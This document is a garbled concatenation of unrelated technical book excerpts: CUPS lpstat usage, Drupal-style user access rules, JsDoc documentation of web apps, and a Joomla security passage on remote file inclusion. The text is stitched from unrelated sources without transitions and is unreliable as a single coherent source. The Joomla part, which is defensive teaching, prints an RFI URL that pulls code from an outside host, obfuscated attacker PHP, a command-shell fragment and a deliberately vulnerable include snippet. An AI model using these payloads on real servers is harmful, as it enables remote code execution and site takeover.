class cupsclass:cupsprinter1cupsprinter2device for cupsprinter1: lpd://192.168.0.11/printers/cupsprinter1device for cupsprinter2: ipp://cupsserver.cupsgroup.org/printers/cupsprinter2$lpstat -a This command shows if printers are currently accepting jobs. If no printers are specified, then it will list all printers. cupsprinter1 accepting requests since Mon 16 Jun 2008 02:28:14 PM ISTcupsprinter2 accepting requests since Wed 18 Jun 2008 11:07:23 AM IST$lpstat -p cupsprinter1 This shows whether the printer cupsprinter1 is enabled and if it is currently printing a job. If no printers are specified then all the printers are listed. printer cupsprinter1 is idle. enabled since Mon 16 Jun 2008 02:28:14 PM IST$lpstat -o This shows the job queues on the specified destinations. If no destinations are specified then all jobs are shown. $lpstat -t This displays status information for all printers, which is equivalent to using the -r, -d, -c, -v, -a, -p, and -o options. scheduler is runningsystem default destination: cupsclassmembers of class cupsclass:cupsprinter1cupsprinter2device for cupsprinter1: lpd://192.168.0.11/printers/cupsprinter1device for cupsprinter2: ipp://cupsserver.cupsgroup.org/printers/cupsprinter2cupsprinter1 accepting requests since Mon 16 Jun 2008 02:28:14 PM ISTcupsprinter2 accepting requests since Wed 18 Jun 2008 11:07:23 AM ISTprinter cupsprinter1 is idle. enabled since Mon 16 Jun 2008 02:28:14 PM ISTprinter cupsprinter2 now printing cupsprinter2-5711. enabled since Wed 18 Jun 2008 03:12:55 PM ISTPrinter is now on-line.cupsprinter2-5711 kajol 1449984 Wed 18 Jun 2008 03:12:55 PM IST$lpstat -l This command displays printers, classes, or jobs in a long list. $lpstat -u This shows a list of print jobs queued by the specified users. If no users are specified, it lists the jobs queued by the current user. cupsprinter2-5711 kajol 1449984 Wed 18 Jun 2008 03:12:55 PM IST$lpstat -h 192.168.0.11:631 The above command specifies an alternative server for CUPS. It uses the port number that is specified along with the server. If no port is specified, then it will connect to the default port 631. $lpstat -U username You can specify an alternative username with the -U option $lpstat -R : $lpstat -W all This shows the ranking of print jobs. This command specifies which jobs to show, complete, incomplete (the default), or all. This option must appear before the -o option and any printer names: $lpstat -W completed -o cupsprinter2 The output will be as follows cupsprinter2-5709 kajol 483328 Wed 18 Jun 2008 03:10:45 PM ISTcupsprinter2-5710 kajol 97280 Wed 18 Jun 2008 03:12:18 PM ISTcupsprinter2-5711 kajol 1449984 Wed 18 Jun 2008 03:12:55 PM ISTcupsprinter2-5712 kajol 8192 Wed 18 Jun 2008 03:22:31 PM ISTcupsprinter2-5713 kajol 9216 Wed 18 Jun 2008 03:23:38 PM ISTcupsprinter2-5714 kajol 9216 Wed 18 Jun 2008 03:24:23 PM IST$lpstat -E This command forces encryption when connecting to a print server.

Tracking user activity The name of this module is slightly misleading. It allows you to view the recent contributions of a user to the site. One particular use for it, is that if one user found a particular user's posts interesting (perhaps, they both owned troublesome T-Rexes!), they could view the user's track page, and look for other contributions from that user which they might be interested in. This is only one way of interaction though, as opposed to two users interacting with each other. Settings and rules Within User management, we have three areas that we are yet to cover. They are: Access rules Gravatar User settings Let's look at these now. Access rules With the access rules, we can explicitly permit or prohibit certain usernames, email addresses, or hosts (computers) from accessing or joining our social networking site. There are quite a few different reasons why we may wish to do this. Let's take a look at a few specific examples: Disposable email addresses Perhaps all accounts originating from a free email provider should be blocked, except for one or two individual exceptions We may wish to prohibit swear words from our users' usernames Blocking email domains To block an entire email domain such as pookmail.com or hotmail.com, we would create two rules, both with Deny as the access type and E-Mail as the Rule type, and then %@ followed by their respective domain names. The % character tells the rule to match anything that comes before the @ symbol With an exception If we want to block all hotmail.com e-mail addresses except our friend's, our.friend@hotmail.com, then we would create an allow rule for this account. Preventing swear words in our user's usernames Creating rules with Username as the Rule type and the swear word (with a % on either side) will prevent such usernames from being registered. Checking rules The Check rules link at the top of the access rules page, allows us to check these rules by entering a username, email address, or hostname to see if that would be permitted or prohibited on our site. Be careful! If you add certain "bad words" with the wildcard (%) character on both sides, you can prevent some genuine signups; so this should be used only for extreme words. User settings From here, we can configure the registration requirements of our users, email templates used for new accounts and so on, and users' picture settings. User registration settings We can determine what security precautions should be taken when a new account is registered. New accounts: Can only be created by an administrator Can be created by a visitor, but require administrator approval Can be created by a visitor without administrator approval and in addition to the previous two, require user email verification Requiring email verification is a good idea. It is the very first and most basic method to help prevent spam and abusive user accounts. The User registration guidelines box can be used to provide some help for our users, and perhaps a link to some legal terms and conditions to help protect ourselves from liability. User email settings Users will often receive an email from our site automatically when: We create a new account for them They create an account They create an account which is pending our approval They request a new password They need to verify their email addresses Their accounts have been blocked Their accounts have been deleted The User e-mail settings area allows us to change the contents of these emails. Click on Administer | User management | User settings | User e-mail settings further down the page. Selecting an email allows us to change the template. Within these templates, there are tokens that are replaced with specific information when they are sent, for example, the user's username or a specific link. So it is important to ensure that these are still in the template. These variables are clearly defined when editing the template. They are all listed under the template name, each of them starting with an explanation mark, for example. !username for the username, !login_uri for the link to the log in page.

Documenting web applications Documenting an entire web application can be surprisingly tricky because of the many different layers involved. Some web application frameworks support automatic documentation generation better than others. It's preferable to have fewer disparate parts. For example, Lisp, Smalltalk, and some Ruby frameworks are little more than internal DSLs that can be trivially redefined to produce documentation from the actual application code. In general, Java frameworks are more difficult to limit to a single layer. Instead, we are confronted with HTML, JSP, JavaScript, Java, the framework itself, its configuration methodologies (XML, annotations, scripting languages, etc.), the service layers, business logic, persistence layers, and so on? Complete documentation generally means aggregating information from many disparate sources and presenting them in a way that is meaningful to the intended audience. High-level overviews The site map is obviously a reasonable overview of a web application. A site map may look like a simple hierarchy chart, showing a simple view of a site's pages without showing all of the possible links between pages, how a page is implemented, and so on. This diagram was created by hand and shows only the basic outline of the application flow. It represents minor maintenance overhead since it would need to be updated when there are any changes to the application. Documenting JSPs There doesn't seem to be any general-purpose JSP documentation methodology. It's relatively trivial to create comments inside a JSP page using JSP comments or a regular Javadoc comment inside a scriptlet. Pulling these comments out is then a matter of some simple parsing. This may be done by using one of our favorite tools, regular expressions, or using more HTML-specific parsing and subsequent massaging. Where it gets tricky is when we want to start generating documentation that includes elements such as JSP pages, which may be included using many different mechanisms—static includes, <jsp:include.../> tags, Tiles, SiteMesh, inserted via Ajax, and so on. Similarly, generating connections between pages is fraught with custom cases. We might use general-purpose HTML links, Struts 2 link tags, attach a link to a page element with JavaScript, ad infinitum/nauseum. When we throw in the (perhaps perverse) ability to generate HTML using Java, we have a situation where creating a perfectly general-purpose tool is a major undertaking. However, we can fairly easily create a reasonable set of documentation that is specific to our framework by parsing configuration files (or scanning a classpath for annotations), understanding how we're linking the server-side to our presentation views, and performing (at least limited) HTML/JSP parsing to pull out presentation-side dependencies, links, and anything that we want documented. Documenting JavaScript If only there was a tool such as Javadoc for JavaScript. The JsDoc Toolkit provides Javadoc-like functionality for JavaScript, with additional features to help handle the dynamic nature of JavaScript code. Because of the dynamic nature, we (as developers) must remain diligent in both in how we write our JavaScript and how we document it. Fortunately, the JsDoc Toolkit is good at recognizing current JavaScript programming paradigms (within reason), and when it can't, provides Javadoc-like tags we can use to give it hints. For example, consider our JavaScript Recipe module where we create several private functions intended for use only by the module, and return a map of functions for use on the webpage. The returned map itself contains a map of validation functions. Ideally, we'd like to be able to document all of the different components. Because of the dynamic nature of JavaScript, it's more difficult for tools to figure out the context things should belong to. Java is much simpler in this regard (which is both a blessing and a curse), so we need to give JsDoc hints to help it understand our code's layout and purpose. A high-level flyby of the Recipe module shows a layout similar to the following: var Recipe = function () { var ingredientLabel; var ingredientCount; // ... function trim(s) { return s.replace(/^s+|s+$/g, ""); } function msgParams(msg, params) { // ... } return { loadMessages: function (msgMap) { // ... }, prepare: function (label, count) { // ... }, pageValidators: { validateIngredientNameRequired: function (form) { // ... }, // ... } }; }(); We see several documentable elements: the Recipe module itself, private variables, private functions, and the return map which contains both functions and a map of validation functions. JsDoc accepts a number of Javadoc-like document annotations that allow us to control how it decides to document the JavaScript elements. The JavaScript module pattern, exemplified by an immediately-executed function, is understood by JsDoc through the use of the @namespace annotation. /** * @namespace * Recipe module. */ var Recipe = function () { // ... }(); We can mark private functions with the @private annotation as shown next: /** * @private * Trims leading/trailing space. */ function trim(s) { return s.replace(/^s+|s+$/g, ""); } It gets interesting when we look at the map returned by the Recipe module: return /** @lends Recipe */ { /** * Loads message map. * * <p> * This is generally used to pass in text resources * retrieved via <s:text.../> or <s:property * value="getText(...)"/> tags on a JSP page in lieu * of a normalized way for JS to get Java I18N resources * </p> */ loadMessages: function (msgMap) { _msgMap = msgMap; }, // ... The @lends annotation indicates that the functions returned by the Recipe module belong to the Recipe module. Without the @lends annotation, JsDoc doesn't know how to interpret the JavaScript in the way we probably intend the JavaScript to be used, so we provide a little prodding. The loadMessages() function itself is documented as we would document a Java method, including the use of embedded HTML. The other interesting bit is the map of validation functions. Once again, we apply the @namespace annotation, creating a separate set of documentation for the validation functions, as they're used by our validation template hack and not directly by our page code. /** * @namespace * Client-side page validators used by our template hack. * ... */ pageValidators: { /** * Insures each ingredient with a quantity * also has a name. * * @param {Form object} form * @type boolean */ validateIngredientNameRequired: function (form) { // ... Note also that we can annotate the type of our JavaScript parameters inside curly brackets. Obviously, JavaScript doesn't have typed parameters. We need to tell it what the function is expecting. The @type annotation is used to document what the function is expected to return. It gets a little trickier if the function returns different types based on arbitrary criteria. However, we never do that because it's hard to maintain. JsDoc has the typical plethora of command-line options, and requires the specification of the application itself (written in JavaScript, and run using Rhino) and the templates defining the output format. An alias to run JsDoc might look like the following, assuming the JsDoc installation is being pointed at by the ${JSDOC} shell variable: alias jsdoc='java -jar ${JSDOC}/jsrun.jar ${JSDOC}/app/run.js -t=${JSDOC}/templates/jsdoc' The command line to document our Recipe module (including private functions using the -p options) and to write the output to the jsdoc-out folder, will now look like the following: jsdoc -p -d=jsdoc-out recipe.js The homepage looks similar to a typical JavaDoc page, but more JavaScript-like: A portion of the Recipe module's validators, marked by a @namespace annotation inside the @lends annotation of the return map, looks like the one shown in the next image (the left-side navigation has been removed): We can get a pretty decent and accurate JavaScript documentation using JsDoc, with only a minimal amount of prodding to help with the dynamic aspects of JavaScript, which is difficult to figure out automatically. Documenting interaction Documenting interaction can be surprisingly complicated, particularly in today's highly-interactive Web 2.0 applications. There are many different levels of interactivity taking place, and the implementation may live in several different layers, from the JavaScript browser to HTML generated deep within a server-side framework. UML sequence diagrams may be able to capture much of that interactivity, but fall somewhat short when there are activities happening in parallel. AJAX, in particular, ends up being a largely concurrent activity. We might send the AJAX request, and then do various things on the browser in anticipation of the result. More UML and the power of scribbling The UML activity diagram is able to capture this kind of interactivity reasonably well, as it allows a single process to be split into multiple streams and then joined up again later. As we look at a simple activity diagram, we'll also take a quick look at scribbling, paper, whiteboards, and the humble digital camera. Don't spend so much time making pretty pictures! One of the hallmarks of lightweight, agile development is that we don't spend all of our time creating the World's Most Perfect Diagram™. Instead, we create just enough documentation to get our points across. One result of this is that we might not use a $1,000 diagramming package to create all of our diagrams. Believe it or not, sometimes just taking a picture of a sketched diagram from paper or a whiteboard is more than adequate to convey our intent, and is usually much quicker than creating a perfectly-rendered software-driven diagram. Yes, the image above is a digital camera picture of a piece of notebook paper with a rough activity diagram. The black bars here are used to indicate a small section of parallel functionality, a server-side search and some activity on the browser. The browser programming is informally indicated by the black triangles. In this case, it might not even be worth sketching out. However, for moderately more complicated usage cases, particularly when there is a lot of both server- and client-side activity, a high-level overview is often worth the minimal effort. The same digital camera technique is also very helpful in meetings where various documentation might be captured on a whiteboard. The resulting images can be posted to a company wiki, used in informal specifications, and so on.

PHP is an open-source server-side scripting language. It is the basis of many web applications. It works very nicely with database platforms such as Joomla!. Since Joomla! is growing, and its popularity is increasing, malicious hackers are looking for holes. The development community has the prime responsibility to produce the most secure extensions possible. In my opinion, this comes before usability, accessibility, and so on. After all, if a beautiful extension has some glaring holes, it won't be useable. The administrators and site development folks have the next layer of responsibility to ensure that they have done everything they can to prevent attacks by checking crucial settings, patching, and monitoring logs. If these two are combined and executed properly, they will result in secure web transactions. The SQL Injections, though very nasty, can be prevented in many cases; but a RFI attack is a more difficult one to stop altogether. So, it is important that you are aware of them and know their signs. Remote File Includes An RFI vulnerability exists when an attacker can insert a script or code into a URL and command your server to execute the evil code. It is important to note that File Inclusion attacks, such as these, can mostly be mitigated by turning Register_Globals off.Turning this off ensures that the $page variable is not treated as a super-global variable, and thus does not allow an inclusion. The following is a sanitized attempt to attack a server in just such a manner: http://www.exampledomain.com/?mosConfig_absolute_path=http://www.forum.com/update/xxxxx/sys_yyyyy/i? If the site in this example did not have appropriate safeguards in place, the following code would be executed: $x0b="inx72_147x65x74"; $x0c="184rx74o154x6fwex72"; echo "c162141156kx5fr157cx6bs";if (@$x0b("222x61x33e_x6d144e") or $x0c(@$x0b("x73ax66x65_mx6fde")) == "x6fx6e"){ echo "345a146x65155od145x3ao156";}else{echo "345a146ex6dox64e:x6ffx66";}exit(); ?> This code is from a group that calls itself "Crank". The purpose of this code is not known, and therefore we do not want it to be executed on our site. This attempt to insert the code appears to want my browser to execute something and report one thing or another: {echo "345a146x65155od145x3ao156";}else{ echo "345a146ex6dox64e:x6ffx66";}exit(); Here is another example of an attempted script. This one is in PHP, and would attempt to execute in the same fashion by making an insertion on the URL: <html><head><title>/// Response CMD ///</title></head><body bgcolor=DC143C><H1>Changing this CMD will result in corrupt scanning !</H1></html></head></body><?phpif((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){echo("Safe Mode of this Server is : ");echo("SafemodeOFF");}else{ini_restore("safe_mode");ini_restore("open_basedir");if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){echo("Safe Mode of this Server is : ");echo("SafemodeOFF");}else{echo("Safe Mode of this Server is : ");echo("SafemodeON");}}...@ob_end_clean();}elseif(@is_resource($f = @popen($cfe,"r"))){$res = "";while(!@feof($f)) { $res .= @fread($f,1024); }@pclose($f);}}return $res;}exit; This sanitized example wants to learn if we are running SAFE MODE on or off, and then would attempt to start a command shell on our server. If the attackers are successful, they will gain access to the machine and take over from there. For Windows users, a Command Shell is equivalent to running START | RUN | CMD, thus opening what we would call a "DOS prompt". Other methods of attack include the following: Evil code uploaded through session files, or through image uploads is a way of attacking. Another method of attack is the insertion or placement of code that you might think would be safe, such as compressed audio streams. These do not get inspected as they should be, and could allow access to remote resources. It is noteworthy that this can slip past even if you have set the allow_url_fopen or allow_url_include to disabled. A common method is to take input from the request POST data versus a data file. There are several other methods beyond this list. And just judging from the traffic at my sites, the list and methods change on an "irregular" basis. This highlights our need for robust security architecture, and to be very careful in accepting the user input on our websites. The Most Basic Attempt You don't always need a heavy or fancy code as in the earlier examples. Just appending a page request of sorts to the end of our URL will do it. Remember this? /?mosConfig_absolute_path=http://www.forum.com/update/xxxxx/sys_yyyyy/i? Here we're instructing the server to force our path to change in our environment to match the code located out there. Here is such a "shell": <?php$file =$_GET['evil-page'];include($file .".php");?> What Can We Do to Stop This? As stated repeatedly, in-depth defense is the most important of design considerations. Putting up many layers of defense will enable you to withstand the attacks. This type of attack can be defended against at the .htaccess level and by filtering the inputs. One problem is that we tend to forget that many defaults in PHP set up a condition for failure. Take this for instance: allow_url_fopen is on by default. "Default? Why do you care?" you may ask. This, if enabled, allows the PHP file functions such as file_get_contents(), and the ever present include and require statements to work in a manner you may not have anticipated, such as retrieving the entire contents of your website, or allowing a determined attacker to break in. Since programmers sometimes forget to do proper input filtering in their user fields, such as an input box that allows any type of data to be inputted, or code to be inserted for an injection attack. Lots of site break-ins, defacements, and worse are the result of a combination of poor programming on the coder's part, and not disabling the allow_url_fopen option. This leads to code injections as in our previous examples. Make sure you keep the Global Registers OFF. This is a biggie that will prevent much evil! There are a few ways to do this and depending on your version of Joomla!, they are handled differently. In Joomla! versions less than 1.0.13, look for this code in the globals.php // no direct accessdefined( '_VALID_MOS' ) or die( 'Restricted access' );/* * Use 1 to emulate register_globals = on * WARNING: SETTING TO 1 MAY BE REQUIRED FOR BACKWARD COMPATIBILITY * OF SOME THIRD-PARTY COMPONENTS BUT IS NOT RECOMMENDED * * Use 0 to emulate register_globals = off * NOTE: THIS IS THE RECOMMENDED SETTING FOR YOUR SITE BUT YOU MAY * EXPERIENCE PROBLEMS WITH SOME THIRD-PARTY COMPONENTS */define( 'RG_EMULATION', 0 ); Make sure the RG_EMULATION has a ZERO (0) instead of one (1). When it's installed out of the box, it is 1, meaning register_globals is set to on. In Joomla! 1.0.13 and greater (in the 1.x series), look for this field in the GLOBAL CONFIGURATION BUTTON | SERVER tab: Have you upgraded from an earlier version of Joomla!?Affects: Joomla! 1.0.13—1.0.14